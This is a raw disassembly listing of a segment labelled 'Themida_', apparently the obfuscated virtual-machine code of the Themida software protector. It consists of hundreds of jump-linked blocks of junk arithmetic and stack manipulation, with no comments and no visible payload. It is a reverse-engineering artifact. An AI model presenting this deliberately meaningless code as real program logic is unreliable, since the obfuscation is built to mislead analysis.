; ---------------------------------------------------------------------------
loc_5ADD11: ; CODE XREF: Themida_:005A5834j
sub al, 0FDh
mov bx, [esp]
add esp, 2
push edi
mov edi, esp
jmp loc_5A60B2
; ---------------------------------------------------------------------------
loc_5ADD25: ; CODE XREF: Themida_:005A3621j
; Themida_:005AEE69j
pop dword ptr [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ADD37: ; CODE XREF: Themida_:005ACC1Dj
xchg ebp, esi
xor esi, 32E26BD2h
or esi, 10D86634h
push eax
mov eax, 270A6C93h
or esi, eax
mov eax, [esp]
jmp loc_5A37BF
; ---------------------------------------------------------------------------
loc_5ADD55: ; CODE XREF: Themida_:005AA9B1j
sub ecx, edx
jmp loc_5AD5DA
; ---------------------------------------------------------------------------
loc_5ADD5C: ; CODE XREF: Themida_:005A6270j
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_5A5CA0
; ---------------------------------------------------------------------------
loc_5ADD6C: ; CODE XREF: Themida_:005A4835j
push ebx
push 6753h
mov [esp], ecx
mov ecx, 486D4833h
jmp loc_5A2655
; ---------------------------------------------------------------------------
loc_5ADD7F: ; CODE XREF: Themida_:005A78BEj
shl edx, 5
jnz loc_5A81CE
add edx, 2BD43C69h
mov ah, bh
mov bh, bh
loc_5ADD92: ; CODE XREF: Themida_:005ADFE0j
push ebp
jmp loc_5A54DD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59F52C
; ---------------------------------------------------------------------------
loc_5ADDA1: ; CODE XREF: Themida_:0059B752j
add ax, di
pop edi
push 6DFCh
mov [esp], esi
mov si, 307Fh
add si, 4F66h
sub ax, si
pop esi
sub ax, 7E50h
pop edx
push 0C31h
mov [esp], ecx
jmp loc_5ABCC6
; ---------------------------------------------------------------------------
loc_5ADDCC: ; CODE XREF: Themida_:0059BCA3j
push esi
mov esi, 5C830F0h
sub esi, 5C830ECh
add ebx, esi
pop esi
push ebp
mov ebp, 0FDD23D2h
dec ebp
jmp loc_5A6194
; ---------------------------------------------------------------------------
loc_5ADDE7: ; CODE XREF: Themida_:005AA7AEj
mov edi, 268365B5h
xor ebx, edi
jmp loc_5AD244
; ---------------------------------------------------------------------------
loc_5ADDF3: ; CODE XREF: Themida_:005A27C3j
mov ecx, 5BCB57A3h
jmp loc_5A5BC1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ADE0C: ; CODE XREF: Themida_:0059DC26j
mov eax, 7B7A0997h
jmp loc_5A6470
; ---------------------------------------------------------------------------
loc_5ADE16: ; CODE XREF: Themida_:005AD2C3j
push edi
jmp loc_59DCEF
; ---------------------------------------------------------------------------
loc_5ADE1C: ; CODE XREF: Themida_:0059F7A8j
bts [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ADE27: ; CODE XREF: Themida_:00599199j
; Themida_:005A5983j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push 54083658h
push dword ptr [esp]
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 862EDBh
jmp loc_5A58CF
; ---------------------------------------------------------------------------
loc_5ADE52: ; CODE XREF: Themida_:0059C891j
mov eax, [esp]
push edx
mov edx, esp
push eax
mov eax, 4
jmp loc_5A85DD
; ---------------------------------------------------------------------------
loc_5ADE63: ; CODE XREF: Themida_:0059D5B3j
pop dword ptr [esp]
jmp loc_5A7395
; ---------------------------------------------------------------------------
loc_5ADE6B: ; CODE XREF: Themida_:005AB13Fj
mov ebp, 125158D4h
dec ebp
add ebp, 651B3189h
not ebp
or ebp, 6632DCDh
shl ebp, 3
jmp loc_5A74B9
; ---------------------------------------------------------------------------
loc_5ADE87: ; CODE XREF: Themida_:005AE7AFj
mov [esp], eax
push ebx
mov ebx, 2C827485h
or ebx, 28ED271Eh
not ebx
or ebx, 507A6805h
jnp loc_5A1120
shr ebx, 4
jnz loc_5A8C06
jmp loc_59DEE2
; ---------------------------------------------------------------------------
pop ebp
push 7A31h
mov [esp], ecx
push ebp
loc_5ADEBC: ; CODE XREF: Themida_:005A272Ej
mov ecx, 4174C06h
add ecx, 16494228h
jl loc_5A5D5F
and ecx, 151F1E61h
js loc_599A30
add ecx, 25A052AFh
jb loc_599993
or ecx, 4B6E6129h
jg loc_5983FB
or ecx, 6C77500Bh
jmp loc_59A965
; ---------------------------------------------------------------------------
loc_5ADEFC: ; CODE XREF: Themida_:005A40C8j
mov [esp], edi
mov edi, 7F912A4Dh
neg edi
sub edi, 6AA564E4h
add ebx, edi
mov edi, [esp]
push edx
mov edx, esp
jmp loc_59BCCE
; ---------------------------------------------------------------------------
loc_5ADF19: ; CODE XREF: Themida_:0059C797j
; Themida_:005A52D4j
xor ecx, edx
xor edx, ecx
xor ecx, edx
xchg ebx, edx
not ebx
xchg ebx, edx
jmp loc_5ADBFF
; ---------------------------------------------------------------------------
loc_5ADF2A: ; CODE XREF: Themida_:005A15EEj
add al, 1Bh
mov edx, [esp]
add esp, 4
add al, 0CEh
sub al, dl
sub al, 0CEh
push ecx
mov cl, 72h
sub al, cl
pop ecx
push ecx
push ax
mov al, 2
mov cl, al
pop ax
push edx
mov dl, 0C2h
sub dl, 0A1h
jmp loc_5A8077
; ---------------------------------------------------------------------------
loc_5ADF52: ; CODE XREF: Themida_:005ACC3Ej
xor edx, 8B21CDFFh
push ebp
mov ebp, edx
push esi
mov esi, ebp
mov eax, esi
pop esi
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [esp]
jmp loc_5AD3E7
; ---------------------------------------------------------------------------
loc_5ADF70: ; CODE XREF: Themida_:005A5CE4j
pop esi
sub ecx, 3419449Dh
sub ecx, 23196CB5h
sub ecx, edi
add ecx, 23196CB5h
jmp loc_5A0E43
; ---------------------------------------------------------------------------
loc_5ADF8A: ; CODE XREF: Themida_:loc_5AE597j
xor ebx, 58616B55h
jmp loc_5A59A4
; ---------------------------------------------------------------------------
loc_5ADF95: ; CODE XREF: Themida_:005A74ACj
add esp, 4
shr edx, 3
shr edx, 5
add edx, 0BE6C717Ah
add ecx, edx
mov edx, [esp]
add esp, 4
and eax, ecx
pop ecx
shr eax, 0Ch
xor eax, ecx
xor eax, esi
xor esi, eax
xor eax, esi
xor esi, ebx
xor ebx, esi
xor esi, ebx
xor ebx, ecx
xor ecx, ebx
jmp loc_5A9FC9
; ---------------------------------------------------------------------------
loc_5ADFCC: ; CODE XREF: Themida_:005A8449j
pop edx
xor edx, 209165C9h
sub edx, 5DA67AECh
jmp loc_599A80
; ---------------------------------------------------------------------------
loc_5ADFDE: ; CODE XREF: Themida_:005A2703j
push esp
pop ebx
jmp loc_5ADD92
; ---------------------------------------------------------------------------
loc_5ADFE5: ; CODE XREF: Themida_:0059B328j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ADFEA: ; CODE XREF: Themida_:00598FDFj
mov edi, 4
mov ebp, edi
pop edi
add eax, 0F9149BFh
add eax, 3A752C9Ah
add eax, ebp
sub eax, 3A752C9Ah
jmp loc_59FE2B
; ---------------------------------------------------------------------------
loc_5AE008: ; CODE XREF: Themida_:005A8C99j
push ebx
mov ebx, 12D9F087h
add eax, ebx
pop ebx
jmp loc_5A80CF
; ---------------------------------------------------------------------------
loc_5AE016: ; CODE XREF: Themida_:0059F4E7j
xor ecx, [esp]
pop esp
add ebp, 261A5F41h
push 425Ah
mov [esp], ebx
mov ebx, esp
push ebp
mov ebp, 8947F7Ch
and ebp, 3F891131h
add ebp, 2A43308Ch
sub ebp, 66CD2761h
sub ebp, 0CBF61A57h
add ebx, ebp
pop ebp
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A1B22
; ---------------------------------------------------------------------------
loc_5AE057: ; CODE XREF: Themida_:0059CF1Dj
; Themida_:005AE927j
mov [esp], ebp
mov ebp, 672C0C02h
jmp loc_59F00E
; ---------------------------------------------------------------------------
loc_5AE064: ; CODE XREF: Themida_:0059EA92j
add cl, al
jmp loc_59E01C
; ---------------------------------------------------------------------------
loc_5AE06B: ; CODE XREF: Themida_:005A7531j
add esp, 4
add [esp+4], ebx
pop ebx
push eax
push ecx
mov ecx, 55E97D92h
jmp loc_5A866B
; ---------------------------------------------------------------------------
loc_5AE082: ; CODE XREF: Themida_:005ADA73j
add esp, 4
jmp loc_5A4702
; ---------------------------------------------------------------------------
lodsd
push ebx
mov ebx, 28326E84h
not ebx
sub ebx, 0A93C6B5Dh
jmp loc_5A494E
; ---------------------------------------------------------------------------
loc_5AE09E: ; CODE XREF: Themida_:005AECCAj
push eax
push edx
mov edx, 29377812h
mov eax, edx
pop edx
not eax
or eax, 309E022Bh
jp loc_59EB36
shr eax, 2
jmp loc_5AAC2D
; ---------------------------------------------------------------------------
loc_5AE0BD: ; CODE XREF: Themida_:0059D665j
pop dword ptr [esp]
jmp loc_5A9B3B
; ---------------------------------------------------------------------------
loc_5AE0C5: ; CODE XREF: Themida_:005A9BCEj
push edx
jmp loc_5AE469
; ---------------------------------------------------------------------------
loc_5AE0CB: ; CODE XREF: Themida_:005AB6DBj
sub eax, 151EA888h
sub ecx, eax
pop eax
jmp loc_5ACB7C
; ---------------------------------------------------------------------------
loc_5AE0D8: ; CODE XREF: Themida_:005ABFC6j
push edi
mov edi, 33985F51h
sub ebp, edi
pop edi
pop eax
push ebp
jmp loc_5A0391
; ---------------------------------------------------------------------------
loc_5AE0E8: ; CODE XREF: Themida_:005ABE49j
inc edi
sub edi, 7CED75E3h
add esi, edi
pop edi
sub ecx, esi
pop esi
add ebp, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
xchg ebp, [esp]
pop esp
pop ebx
xchg eax, esi
jmp loc_59D359
; ---------------------------------------------------------------------------
loc_5AE10E: ; CODE XREF: Themida_:0059C5FDj
sub esp, 4
mov [esp], eax
mov eax, 49302DFAh
jmp loc_5A5B1A
; ---------------------------------------------------------------------------
loc_5AE121: ; CODE XREF: Themida_:005A0F4Aj
push edi
push esp
jmp loc_5A8B05
; ---------------------------------------------------------------------------
loc_5AE128: ; CODE XREF: Themida_:005A7EC3j
jmp loc_59AA59
; ---------------------------------------------------------------------------
loc_5AE12D: ; CODE XREF: Themida_:005AEA10j
shr ebx, 3
jmp loc_5A994C
; ---------------------------------------------------------------------------
loc_5AE135: ; CODE XREF: Themida_:005A67CFj
push 76F8h
mov [esp], esi
mov esi, 32043A1Dh
push ebx
mov ebx, 3DD30B02h
jmp loc_5A86A6
; ---------------------------------------------------------------------------
loc_5AE14D: ; CODE XREF: Themida_:0059E3F0j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
jmp loc_5ACE5D
; ---------------------------------------------------------------------------
loc_5AE15C: ; CODE XREF: Themida_:0059E296j
mov eax, [esp]
jmp loc_5A6787
; ---------------------------------------------------------------------------
loc_5AE164: ; CODE XREF: Themida_:005A7871j
inc ebx
jno loc_59CF81
add ebx, 583F9CBFh
jmp loc_59E454
; ---------------------------------------------------------------------------
mov cl, 0D5h
loc_5AE179: ; CODE XREF: Themida_:0059A3DCj
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 4
jmp loc_5A6993
; ---------------------------------------------------------------------------
loc_5AE18A: ; CODE XREF: Themida_:005A5EDEj
jmp loc_5AB09B
; ---------------------------------------------------------------------------
loc_5AE18F: ; CODE XREF: Themida_:005AAAA2j
mov esp, [esp]
mov [esp], eax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE19A: ; CODE XREF: Themida_:005A9011j
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
shr ecx, 6
push 74ABh
mov [esp], edx
push 6199h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_5A1D04
; ---------------------------------------------------------------------------
loc_5AE1D5: ; CODE XREF: Themida_:005A3E89j
push 4
pop ecx
jmp loc_5AEAF5
; ---------------------------------------------------------------------------
loc_5AE1E0: ; CODE XREF: Themida_:005A9218j
jmp loc_59DCB2
; ---------------------------------------------------------------------------
loc_5AE1E5: ; CODE XREF: Themida_:005A2306j
mov [esp], edx
mov edx, 6F12211Fh
add edi, edx
pop edx
push edx
jmp loc_5A177D
; ---------------------------------------------------------------------------
loc_5AE1F6: ; CODE XREF: Themida_:005ACD97j
mov edi, 0EEBA22DDh
jmp loc_59ECFC
; ---------------------------------------------------------------------------
loc_5AE200: ; CODE XREF: Themida_:0059D63Bj
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
jmp loc_5A13E8
; ---------------------------------------------------------------------------
loc_5AE218: ; CODE XREF: Themida_:005A37BAj
mov [esp], edx
jmp loc_5A77D1
; ---------------------------------------------------------------------------
loc_5AE220: ; CODE XREF: Themida_:0059C40Aj
; Themida_:0059CA61j
shl esi, 2
jns loc_5A9253
push 1768h
mov [esp], ecx
jmp loc_5AF040
; ---------------------------------------------------------------------------
pop esi
dec edx
loc_5AE238: ; CODE XREF: Themida_:005AEF06j
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_5AB1BA
; ---------------------------------------------------------------------------
loc_5AE244: ; CODE XREF: Themida_:005AAE39j
pop esp
sub esp, 2
mov [esp], cx
mov cl, 6Fh
push edx
push ebx
mov bh, 27h
shl bh, 1
jmp loc_5AE370
; ---------------------------------------------------------------------------
loc_5AE25C: ; CODE XREF: Themida_:0059B4E3j
mov [esp], edx
mov edx, 417E1182h
or ecx, edx
pop edx
sub ecx, 16DB5201h
sub ebx, ecx
jmp loc_5A0D27
; ---------------------------------------------------------------------------
loc_5AE274: ; CODE XREF: Themida_:005A9B0Aj
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 44495209h
neg ebp
push esi
mov esi, 0FFFFFFFFh
jmp loc_598965
; ---------------------------------------------------------------------------
loc_5AE295: ; CODE XREF: Themida_:0059FFC3j
dec edi
push esi
mov esi, 0EB3FEC42h
add edi, esi
pop esi
sub ebp, edi
pop edi
pop eax
add ebp, 2
jmp loc_5A081B
; ---------------------------------------------------------------------------
loc_5AE2AE: ; CODE XREF: Themida_:0059EC76j
jg loc_599407
jmp loc_59C082
; ---------------------------------------------------------------------------
loc_5AE2B9: ; CODE XREF: Themida_:005A8BA5j
mov [esp], ebp
mov ebp, 4
add edx, 753F1F96h
sub edx, ebp
sub edx, 753F1F96h
mov ebp, [esp]
jmp loc_5A4302
; ---------------------------------------------------------------------------
loc_5AE2D7: ; CODE XREF: Themida_:005A2DC0j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_5AB7DE
; ---------------------------------------------------------------------------
loc_5AE2ED: ; CODE XREF: Themida_:005AC0D2j
add ebp, 4
xchg ebp, [esp]
pop esp
push 44C0h
mov [esp], ebx
push eax
mov eax, 54CA26BFh
jmp loc_5A0DB8
; ---------------------------------------------------------------------------
db 0FFh
dd 0ADE93C77h
db 90h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5AE30F: ; CODE XREF: Themida_:00599402j
push ebp
mov ebp, 54696268h
jmp loc_59DA57
; ---------------------------------------------------------------------------
loc_5AE31A: ; CODE XREF: Themida_:005ACF7Bj
mov ecx, esp
push ebp
mov ebp, 627717F2h
jmp loc_5ACDF0
; ---------------------------------------------------------------------------
loc_5AE327: ; CODE XREF: Themida_:0059E096j
; Themida_:005ABB55j
xor ebx, edi
pop edi
and ecx, ebx
pop ebx
add ecx, 0FFFFFDB0h
jmp loc_5A224C
; ---------------------------------------------------------------------------
loc_5AE338: ; CODE XREF: Themida_:005A7944j
add esp, 4
add al, bh
pop ebx
sub al, bl
jmp loc_59F17A
; ---------------------------------------------------------------------------
loc_5AE348: ; CODE XREF: Themida_:005AC660j
push edx
mov edx, 1C744BA4h
jmp loc_5A4315
; ---------------------------------------------------------------------------
loc_5AE353: ; CODE XREF: Themida_:0059E2C7j
pop dword ptr [esp]
mov esp, [esp]
bswap eax
push 4F6Ch
mov [esp], eax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE368: ; CODE XREF: Themida_:005AA334j
add esp, 4
jmp loc_59E5D7
; ---------------------------------------------------------------------------
loc_5AE370: ; CODE XREF: Themida_:005AE257j
js loc_59BA76
sub bh, 3Ch
push ecx
mov ch, bh
mov dl, ch
pop ecx
pop ebx
sub dl, 0C2h
add dl, 24h
add dl, 1
add dl, 0B2h
shl dl, 7
xor dl, 0D6h
jmp loc_5A9557
; ---------------------------------------------------------------------------
loc_5AE397: ; CODE XREF: Themida_:005A8C01j
xor ebx, 0AB6AB3BBh
add ecx, ebx
pop ebx
add ecx, ebp
push edi
mov edi, 48883BFFh
sub edi, 3AB7846h
add edi, 0F5205C66h
sub ecx, edi
pop edi
pop ebp
push ebp
mov ebp, 5A753DF2h
shl ebp, 2
push edx
push ecx
mov ecx, 4DC570E8h
mov edx, ecx
jmp loc_59DD9A
; ---------------------------------------------------------------------------
loc_5AE3CF: ; CODE XREF: Themida_:005A591Cj
add ebx, 75AF7CAEh
and ebx, 64F91E7Ch
add ebx, 288F60F0h
sub esp, 4
mov [esp], esi
push edx
mov edx, 0B627CB7h
add edx, 110275DAh
not edx
and edx, 3C260183h
ja loc_59A310
inc edx
jo loc_5AE610
jmp loc_59D1D8
; ---------------------------------------------------------------------------
loc_5AE410: ; CODE XREF: Themida_:005997BBj
push ecx
not dword ptr [esp]
pop ecx
or ecx, 4D5F7C55h
add ecx, 92F24E0Fh
sub ebp, ecx
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
add edi, 4
jmp loc_5A1608
; ---------------------------------------------------------------------------
loc_5AE435: ; CODE XREF: Themida_:005A18EFj
mov [esp], ebx
jmp loc_59DBB6
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE445: ; CODE XREF: Themida_:005A655Cj
mov [esp], dx
mov dl, 34h
xor bl, dl
mov dx, [esp]
add esp, 2
push ebx
not byte ptr [esp]
jmp loc_59B606
; ---------------------------------------------------------------------------
loc_5AE460: ; CODE XREF: Themida_:0059D9DCj
pop dword ptr [esp]
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE469: ; CODE XREF: Themida_:005AE0C6j
push 56362FD7h
pop edx
push esi
mov esi, 37136617h
jmp loc_59C8FB
; ---------------------------------------------------------------------------
loc_5AE47A: ; CODE XREF: Themida_:005A66F8j
sub esp, 4
mov [esp], esi
push 5A8630E6h
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push edx
push esp
jmp loc_59CB7E
; ---------------------------------------------------------------------------
loc_5AE495: ; CODE XREF: Themida_:005AE8BEj
push dword ptr [esp]
pop eax
add esp, 4
pop ecx
jmp loc_5A1970
; ---------------------------------------------------------------------------
loc_5AE4A5: ; CODE XREF: Themida_:005AA7CDj
neg edx
add edx, 2F52674Fh
jmp loc_59FDEF
; ---------------------------------------------------------------------------
loc_5AE4B2: ; CODE XREF: Themida_:0059B5A3j
add edx, 4
push edi
mov edi, 4
add edx, edi
mov edi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
push 6B7Ah
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
jmp loc_59FE6C
; ---------------------------------------------------------------------------
loc_5AE4DE: ; CODE XREF: Themida_:005A3A21j
shr dh, 6
js loc_5A7920
jmp loc_5A44FD
; ---------------------------------------------------------------------------
loc_5AE4EC: ; CODE XREF: Themida_:005AB207j
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_5A08B6
; ---------------------------------------------------------------------------
loc_5AE510: ; CODE XREF: Themida_:0059E9D0j
or ecx, 5DBE036Ch
inc ecx
add ecx, 0A8C1187Ah
sub esi, ecx
jmp loc_5A4A22
; ---------------------------------------------------------------------------
loc_5AE524: ; CODE XREF: Themida_:005AA604j
add edx, ebx
pop ebx
add edx, 4
jmp loc_5A215C
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_5A670F
; ---------------------------------------------------------------------------
loc_5AE538: ; CODE XREF: Themida_:005AA838j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_59FCCA
; ---------------------------------------------------------------------------
loc_5AE559: ; CODE XREF: Themida_:005AEB8Aj
pop ecx
pop dword ptr [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE56A: ; CODE XREF: Themida_:0059B831j
pop esi
and eax, ecx
jmp loc_5ACAE1
; ---------------------------------------------------------------------------
loc_5AE572: ; CODE XREF: Themida_:005A53ECj
xchg edi, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push esp
jmp loc_5A54EA
; ---------------------------------------------------------------------------
loc_5AE58F: ; CODE XREF: Themida_:005AA2F8j
pop eax
add ebx, edi
jmp loc_59AF5D
; ---------------------------------------------------------------------------
loc_5AE597: ; CODE XREF: Themida_:0059FBA7j
jmp loc_5ADF8A
; ---------------------------------------------------------------------------
loc_5AE59C: ; CODE XREF: Themida_:loc_59FE36j
; Themida_:005AAF05j
add eax, edx
jmp loc_5A6DB5
; ---------------------------------------------------------------------------
loc_5AE5A3: ; CODE XREF: Themida_:0059B84Bj
dec cx
not cx
sub cx, 343Ch
xor cx, 7182h
add si, cx
pop ecx
jmp loc_5A9E3B
; ---------------------------------------------------------------------------
loc_5AE5BB: ; CODE XREF: Themida_:005987C9j
add esp, 4
jmp loc_5A51FC
; ---------------------------------------------------------------------------
loc_5AE5C6: ; CODE XREF: Themida_:0059D27Aj
; Themida_:005AC647j
push 652Ah
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_598EBA
; ---------------------------------------------------------------------------
loc_5AE5D7: ; CODE XREF: Themida_:005A207Cj
pop ebp
mov ecx, edi
mov edi, [esp]
add esp, 4
sub ebp, 232015CFh
sub ebp, ecx
push edi
mov edi, 3A0F1623h
dec edi
not edi
jmp loc_5987F4
; ---------------------------------------------------------------------------
loc_5AE5F6: ; CODE XREF: Themida_:0059D322j
mov eax, edx
pop edx
add esi, eax
pop eax
push edx
push esp
pop edx
push esi
mov esi, 4
sub edx, 77427A6h
jmp loc_5A086D
; ---------------------------------------------------------------------------
loc_5AE610: ; CODE XREF: Themida_:loc_59CB19j
; Themida_:005AE405j
sub esp, 4
mov [esp], edi
push ecx
jmp loc_59D9CF
; ---------------------------------------------------------------------------
loc_5AE61F: ; CODE XREF: Themida_:005A03C0j
push esp
mov esi, [esp]
add esp, 4
push 875h
jmp loc_5A2DC5
; ---------------------------------------------------------------------------
loc_5AE630: ; CODE XREF: Themida_:00598FE5j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor eax, esi
xor esi, eax
xor eax, esi
sub esp, 4
mov [esp], edi
jmp loc_5ACBDD
; ---------------------------------------------------------------------------
loc_5AE653: ; CODE XREF: Themida_:0059CD7Bj
mov eax, [esp]
add esp, 4
sub esp, 2
mov [esp], ax
mov al, 5Bh
and bh, al
mov ax, [esp]
add esp, 2
sub esp, 2
mov [esp], cx
mov cl, 1
jmp loc_5AB5FC
; ---------------------------------------------------------------------------
loc_5AE682: ; CODE XREF: Themida_:005A9AD5j
pop esi
xchg edi, [esp]
pop esp
jmp loc_5A9E9D
; ---------------------------------------------------------------------------
loc_5AE68C: ; CODE XREF: Themida_:005A445Ej
; Themida_:005AC6D8j
xor ebp, 0EDCB5072h
add esi, ebp
jmp loc_5A25F9
; ---------------------------------------------------------------------------
loc_5AE699: ; CODE XREF: Themida_:005AEF80j
jp loc_5A140C
inc ecx
jmp loc_5A8CF2
; ---------------------------------------------------------------------------
loc_5AE6A5: ; CODE XREF: Themida_:005A5DB9j
mov ebp, esp
add ebp, 4
push edx
mov edx, 60B7535Eh
sub edx, 14B4270Bh
not edx
inc edx
sub edx, 57AC169Ah
shr edx, 4
add edx, 0FA3AF433h
add ebp, edx
pop edx
xchg ebp, [esp]
pop esp
push ebp
jmp loc_59FE81
; ---------------------------------------------------------------------------
loc_5AE6D8: ; CODE XREF: Themida_:00598EA3j
add ebx, 315E3068h
jmp loc_5A379B
; ---------------------------------------------------------------------------
loc_5AE6E3: ; CODE XREF: Themida_:005AF4F7j
push esp
pop eax
push edx
push eax
push 55872A44h
pop eax
add eax, 21152719h
jmp loc_5AD4AD
; ---------------------------------------------------------------------------
loc_5AE6F7: ; CODE XREF: Themida_:0059C7C4j
xchg ebp, ebx
inc ebp
xchg ebp, ebx
or ebx, 2FE00B9Fh
jmp loc_5A2F81
; ---------------------------------------------------------------------------
loc_5AE707: ; CODE XREF: Themida_:00599D04j
or dh, 7Eh
jmp loc_5A3257
; ---------------------------------------------------------------------------
loc_5AE70F: ; CODE XREF: Themida_:005A44A7j
; Themida_:005A935Bj ...
mov esi, 46E03866h
add ebx, 30101C64h
add ebx, esi
jmp loc_59BFA3
; ---------------------------------------------------------------------------
loc_5AE721: ; CODE XREF: Themida_:005A2A52j
mov edi, 800h
mov esi, edi
pop edi
and eax, esi
pop esi
jmp loc_59B23A
; ---------------------------------------------------------------------------
loc_5AE731: ; CODE XREF: Themida_:005A3679j
xor esi, [esp]
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE741: ; CODE XREF: Themida_:0059FF5Fj
inc edx
add edx, 4EED0F75h
add edx, 0FDB2A38Fh
add esi, edx
pop edx
mov edx, esi
pop esi
sub esi, 1305770Ch
jmp loc_599C57
; ---------------------------------------------------------------------------
loc_5AE75F: ; CODE XREF: Themida_:005A2372j
; Themida_:loc_5AA74Aj
mov cx, [esp]
push 25B3h
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_5A202A
; ---------------------------------------------------------------------------
loc_5AE77A: ; CODE XREF: Themida_:0059AA1Aj
add ebp, 20760BFDh
jmp loc_5A7D28
; ---------------------------------------------------------------------------
loc_5AE785: ; CODE XREF: Themida_:0059F0CAj
or edi, edx
pop edx
shl edi, 3
push esi
mov esi, 3ACA5C50h
and esi, 16F77C4Eh
xor esi, 7C4D0649h
add esi, 1C39495Bh
sub edi, esi
jmp loc_599D2D
; ---------------------------------------------------------------------------
loc_5AE7AA: ; CODE XREF: Themida_:005A5FB6j
push 2A92h
jmp loc_5ADE87
; ---------------------------------------------------------------------------
loc_5AE7B4: ; CODE XREF: Themida_:0059F425j
pop esp
jmp loc_5A1AC6
; ---------------------------------------------------------------------------
loc_5AE7BA: ; CODE XREF: Themida_:0059D608j
push 3A8776FDh
pop ebx
xchg esi, ebx
not esi
xchg esi, ebx
sub ebx, 3ACB7227h
sub ebx, 57B9037Bh
xor ecx, ebx
pop ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A8A14
; ---------------------------------------------------------------------------
loc_5AE7E3: ; CODE XREF: Themida_:00599158j
; Themida_:005A6075j
add esp, 4
jmp loc_5A164B
; ---------------------------------------------------------------------------
loc_5AE7EB: ; CODE XREF: Themida_:0059E3E3j
push esi
jmp loc_5AB10D
; ---------------------------------------------------------------------------
loc_5AE7F1: ; CODE XREF: Themida_:005A0CF2j
add esi, 22FB569Bh
add esi, 99CF4673h
jmp loc_5A330D
; ---------------------------------------------------------------------------
loc_5AE802: ; CODE XREF: Themida_:005A5645j
mov [esp], eax
jmp loc_5999B3
; ---------------------------------------------------------------------------
loc_5AE80A: ; CODE XREF: Themida_:0059B1A1j
push dword ptr [esp]
mov eax, [esp]
push esi
jmp loc_5A40F9
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_5A609B
; ---------------------------------------------------------------------------
loc_5AE837: ; CODE XREF: Themida_:005A39F3j
jmp loc_59AB8C
; ---------------------------------------------------------------------------
loc_5AE83C: ; CODE XREF: Themida_:005A7046j
sub eax, 6EB4002Bh
jmp loc_5AA574
; ---------------------------------------------------------------------------
loc_5AE846: ; CODE XREF: Themida_:005A0532j
mov [esp], eax
jmp loc_5AD775
; ---------------------------------------------------------------------------
loc_5AE84E: ; CODE XREF: Themida_:005A1E92j
push eax
jmp loc_599A36
; ---------------------------------------------------------------------------
loc_5AE854: ; CODE XREF: Themida_:0059DAF0j
add edx, esi
jmp loc_59E3F5
; ---------------------------------------------------------------------------
loc_5AE85B: ; CODE XREF: Themida_:005A750Bj
push 49B44248h
pop ebx
neg ebx
js loc_5A852D
shr ebx, 5
dec ebx
jle loc_5ACE0E
loc_5AE873: ; CODE XREF: Themida_:005A6E75j
sub edx, 7A700002h
sub ebp, edx
pop edx
add ebp, 433C0519h
or ebp, 4BF5051Dh
and ebp, 3747B4Fh
shr ebp, 3
xor ebp, 6D0E8211h
xor ecx, ebp
pop ebp
sub [eax], ecx
pop ecx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE8A2: ; CODE XREF: Themida_:loc_5A8355j
inc ebx
jmp loc_5AD498
; ---------------------------------------------------------------------------
loc_5AE8A8: ; CODE XREF: Themida_:005A566Dj
; Themida_:005AECC4j
add esi, 1A0010A6h
add ebx, esi
jmp loc_5A133C
; ---------------------------------------------------------------------------
loc_5AE8B5: ; CODE XREF: Themida_:005A8350j
mov bl, cl
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5AE495
